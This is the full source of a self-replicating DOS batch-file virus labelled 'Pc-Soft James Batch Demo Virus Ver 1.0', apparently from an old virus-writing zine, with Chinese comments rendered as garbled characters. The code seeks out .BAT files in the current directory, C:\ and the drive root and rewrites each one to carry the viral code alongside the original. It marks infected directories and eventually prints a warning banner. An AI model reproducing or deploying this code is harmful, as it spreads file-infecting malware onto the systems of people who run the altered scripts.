

        OvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvel
        v                                                              v
        e       »OÆW«Â¤O¯f¬r¬ã¨s²ÕÂ´ ²Ä ‘D ´Á Âø»x      P.006          e
        l       [¯f¬r]                                                 l
        O                                                              O
        v       Pc-Soft James Virus                     Pc-Soft James  v
        e       E-Mail: None                                           e
        l                                                              l
        OvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvel


@ECHO OFF
SET WP=
IF %1X==/MCDX GOTO PJVIRMCD
IF NOT %CD%X==YX CALL %0 /MCD
SET WP=
SET CD=
@ECHO ON

REM ­ì¨Óªº§å¦¸ÀÉ...

:PJVIRSTRT
@ECHO OFF
ECHO ©ö¥È¬O«Ó­ô.... > \PJVIRWPT
IF NOT EXIST \PJVIRWPT SET WP=ON
REM ¨¾¼g¡A¨º´Nºâ¤F...
IF %WP%X==ONX GOTO PJVIREND
SET F=
IF EXIST C:\*.BAT SET F=Y
IF EXIST \*.BAT SET F=Y
IF EXIST *.BAT SET F=Y

IF %F%X==YX GOTO PJVIRFF
:PJVIRCNT
IF %FN%X==4X GOTO PJVIRSIC
IF %FN%X==3X SET FN=4
IF %FN%X==2X SET FN=3
IF %FN%X==1X SET FN=2
IF %FN%X==X SET FN=1
SET F=Y
GOTO PJVIREND

:PJVIRFF
REM «Ø¥ß§Û¿ýÀÉ..

REM §Û¿ýÀÉ 1 : ÀÉÀY [\PJVIRTMP]
ECHO @ECHO OFF > \PJVIRTMP
ECHO SET WP= >> \PJVIRTMP
ECHO IF %%1X==/MCDX GOTO PJVIRMCD >> \PJVIRTMP
ECHO IF NOT %%CD%%X==YX CALL %%0 /MCD >> \PJVIRTMP
ECHO SET WP= >> \PJVIRTMP
ECHO SET CD= >> \PJVIRTMP
ECHO @ECHO ON >> \PJVIRTMP

REM §Û¿ýÀÉ 2 : ¥»¨­ [\PJVIRTMP.1]
SET PJCD=
CALL \PJVIRCD.BAT
DEL  \PJVIRCD.BAT
IF %PJCD%X==C:\X GOTO PJVIROK
IF %PJCD%X==D:\X GOTO PJVIROK
IF %PJCD%X==A:\X GOTO PJVIROK
IF %PJCD%X==B:\X GOTO PJVIROK
SET PJCD=%PJCD%\
:PJVIROK

IF EXIST %PJCD%%0.BAT GOTO PJVIROK2
IF EXIST %PJCD%%0 GOTO PJVIROK2
IF EXIST %0 GOTO PJVIROK2
IF EXIST %0.BAT GOTO PJVIROK2
GOTO PJVIREND
:PJVIROK2
IF EXIST %0 SET OLD=%0
IF EXIST %0.BAT SET OLD=%0.BAT
IF EXIST %PJCD%%0 SET OLD=%PJCD%%0
IF EXIST %PJCD%%0.BAT SET OLD=%PJCD%%0.BAT
CALL %OLD% /MCD
CALL \PJVIRCD.BAT
DEL  \PJVIRCD.BAT
IF EXIST %PJCD%\%0.BAT GOTO PJVIRYES
IF EXIST %PJCD%\%0 GOTO PJVIRYES
GOTO PJVIRCN1
:PJVIRYES
ECHO\ > %PJCD%\CHECKLST.PJ
:PJVIRCN1

ECHO\ > \PJVIRTMP.1
ECHO @ECHO OFF >> \PJVIRTMP.1
ECHO GOTO PJVIRSTRT >> \PJVIRTMP.1

COPY \PJVIRTMP.1 + %OLD% \PJVIRTMP.1 /B> NUL


REM ¡¯¡¯¡¯¡¯¡¯¡¯¡¯  §Û¿ýÀÉ«Ø¦n¤F  ¡¯¡¯¡¯¡¯¡¯¡¯¡¯¡¯¡¯¡¯¡¯¡¯¡¯¡¯¡¯

REM «Ø¥ß·P¬V°Æµ{¦¡

ECHO IF %%1X==C:\PJVIRCHK.BATX GOTO END > \PJVIRCHK.BAT
ECHO IF %%1X==PJVIRCHK.BATX GOTO END  >> \PJVIRCHK.BAT
ECHO IF %%1X==\PJVIRCHK.BATX GOTO END  >> \PJVIRCHK.BAT
ECHO IF %%1X==C:\PJVIRCH1.BATX GOTO END >> \PJVIRCHK.BAT
ECHO IF %%1X==PJVIRCH1.BATX GOTO END  >> \PJVIRCHK.BAT
ECHO IF %%1X==\PJVIRCH1.BATX GOTO END  >> \PJVIRCHK.BAT
ECHO IF EXIST %%PJCD%%PJVIRTMP.2 DEL %%PJCD%%PJVIRTMP.2 >> \PJVIRCHK.BAT
ECHO REN %%1 PJVIRTMP.2 >> \PJVIRCHK.BAT
ECHO COPY \PJVIRTMP + %%PJCD%%PJVIRTMP.2 + \PJVIRTMP.1 %%1 >> \PJVIRCHK.BAT
ECHO CLS >> \PJVIRCHK.BAT
ECHO IF EXIST %%PJCD%%PJVIRTMP.2 DEL %%PJCD%%PJVIRTMP.2 >> \PJVIRCHK.BAT
ECHO :END >> \PJVIRCHK.BAT

SET F=
IF NOT EXIST *.BAT GOTO PJVIRCRO
IF EXIST CHECKLST.PJ GOTO PJVIRCRO
SET PJCD=
ECHO\ > \PJVIRCH1.BAT
FOR %%A IN (*.BAT) DO ECHO CALL \PJVIRCHK.BAT %%A >> \PJVIRCH1.BAT
CALL \PJVIRCH1.BAT
SET F=Y
ECHO\ > CHECKLST.PJ

:PJVIRCRO
IF NOT EXIST C:\*.BAT  GOTO PJVIRROOT
IF EXIST C:\CHECKLST.PJ GOTO PJVIRROOT
SET PJCD=C:\
ECHO\ > \PJVIRCH1.BAT
FOR %%A IN (C:\*.BAT) DO ECHO CALL \PJVIRCHK.BAT %%A >> \PJVIRCH1.BAT
CALL \PJVIRCH1.BAT
SET F=Y
ECHO\ > C:\CHECKLST.PJ

:PJVIRROO
IF NOT EXIST \*.BAT GOTO PJVIREND
IF EXIST \CHECKLST.PJ GOTO PJVIREND
SET PJCD=\
ECHO\ > \PJVIRCH1.BAT
FOR %%A IN (\*.BAT) DO ECHO CALL \PJVIRCHK.BAT %%A >> \PJVIRCH1.BAT
CALL \PJVIRCH1.BAT
SET F=Y
ECHO\ > \CHECKLST.PJ

GOTO PJVIREND

:PJVIRMCD
ECHO GOTO PJVIRSET > \PJVIRCD.BAT
IF EXIST %0.BAT COPY \PJVIRCD.BAT + %0.BAT \PJVIRCD.BAT > NUL
IF EXIST %0 COPY \PJVIRCD.BAT + %0 \PJVIRCD.BAT > NUL
CD >> \PJVIRCD.BAT
SET CD=Y

GOTO PJVIRSET
:PJVIRSIC
ECHO ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ECHO º  Pc-Soft James  BATCH DEMO VIRUS  Ver 1.0  º
ECHO ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¹
ECHO º This is a DEMO virus, so it is no sick,if  º
ECHO º you get the other one, you mabye be died!! º
ECHO º                                            º
ECHO º BECAREFUL !!!   VIURS IS IN YOUR SIDE !!!  º
ECHO º                                            º
ECHO ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼
ECHO\
ECHO ùÝùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùß
ECHO ùø Pc-Soft James  §å¦¸ÀÉ ®i¥Ü ¯f¬r  ª©¥» 1.0ùø
ECHO ùàùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùâ
ECHO ùø ³o¥u¬O¤@­Ó®i¥Ü¯f¬r¡A©Ò¥H¤£¥´ºâ®`¤H¡A°²¦p ùø
ECHO ùø §A±o¨ìªº¬O¨ä¥L¬r¡A§A¤]³\§¹³J¡I¡I         ùø
ECHO ùø                                          ùø
ECHO ùø ¦W¨¥ ¡G  ¤p¤ß¡I¡I  ¯f¬r´N¦b§A¨­Ãä¡I¡I    ùø
ECHO ùø                                          ùø
ECHO ùãùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùùå
SET F=Y
:PJVIREND
IF NOT %F%X==YX GOTO PJVIRCNT
IF EXIST \PJVIR*.* DEL \PJVIR*.*
SET WP=
SET F=
SET PJCD=
SET OLD=
SET T=
ECHO SET CD=> \NO.BAT
\NO
:PJVIRSET
SET PJCD=
